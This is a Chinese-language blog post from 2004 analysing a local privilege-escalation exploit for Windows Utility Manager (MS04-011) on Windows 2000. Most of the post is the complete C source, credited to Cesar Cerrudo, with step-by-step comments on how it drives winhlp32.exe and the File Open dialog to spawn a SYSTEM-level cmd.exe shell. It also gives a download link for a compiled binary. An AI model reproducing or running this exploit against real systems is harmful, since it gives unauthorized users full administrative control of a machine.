星期日, 五月 09, 2004

UtilMan.exe的新漏洞分析.

czy 于05.1
微软在ms04-11里一下子公布了14个新漏洞,不分析几个怎么行呢,看了看网上的一些
文档发现utilman又出新问题了,在ph4nt0m.org上发现了如下攻击程序,做了个简单分析.
我在2k+sp4下测试成功,程序改了一下,在运行前先按win+u运行utilman.
简单的说winhlp32.exe是以system权限来运行的,在它里面执行的cmd.exe也就会有同样的
权限了.但是在里面直接打开目录然后在目录框(explorer)的地址栏输入cmd.exe是不会运行的.

程序下载:http://www.chinansl.com/czy/mess2.exe

// By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager
// 得到一个系统权限的shell
// 有些时候可以改变sleep的值(不能太大了,因为文件打开对话框会自动关闭的)

#include "stdafx.h"
#include
#include
#include
#include

int main(int argc, char *argv[])
{
HWND lHandle, lHandle2;
POINT point;

char sText[]="%windir%\\system32\\cmd.ex?"; //不是.exe

// 运行工具管理器

//WinExec ("utilman.exe /start",SW_SHOW);
//Sleep(500);

// 打开帮助,这时执行了winhlp32.exe,4d号消息是未公开的相当于按下F1吧
SendMessage(FindWindow(NULL, "工具管理器"), 0x4D, 0, 0);
Sleep(500);

// 打开文件打开对话框,winhlp32.exe中44d为菜单栏打开选项的ID
PostMessage(FindWindow(NULL, "Windows 帮助"), WM_COMMAND, 0x44D, 0);
//一定要是postmessage

Sleep(500);


// 得到文件打开对话框句柄
lHandle = FindWindow("#32770","打开");

// 得到文件打开对话框中输入文件名编辑框的句柄,这个编辑框的ID为47c
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);

//设置文件名编辑框的值为cmd.ex?
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
Sleep(800);

//输入回车,这样打开对话框的文件列表中就会显示.ex?文件,否则显示的
//是.hlp文件,因为默认只能打开后缀是.hlp的文件.
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

//得到打开对话框左边的工具栏(就是历史,桌面,我的文档大图标)的句柄
//ToolbarWindow32这个控件类名为
lHandle2 = GetDlgItem(lHandle, 0x4A0);
//发送tab消息,这样焦点就在右边的文件列表控件中了.
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);


Sleep(500);

//得到打开对话框的子控件文件列表控件的句柄
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//得到列表控件的子控件syslistview32的句柄,控件id为1
lHandle2 = GetDlgItem(lHandle2, 0x1);

SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char

//发送cmd这样是为了把焦点准确的落在cmd.exe上
//奇怪的是手工一个一个的输入cmd则不行哟

Sleep(800);

// 打开右键菜单
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);

//通过当前的光标位置来得到右键菜单句柄
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);

SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // 在右键菜单中下移一个选项
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // 在右键菜单中下移一个选项这时落在打开上
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // 发送回车

SendMessage (lHandle, WM_CLOSE,0,0); //关闭文件打开对话框

return(0);
}

没有评论: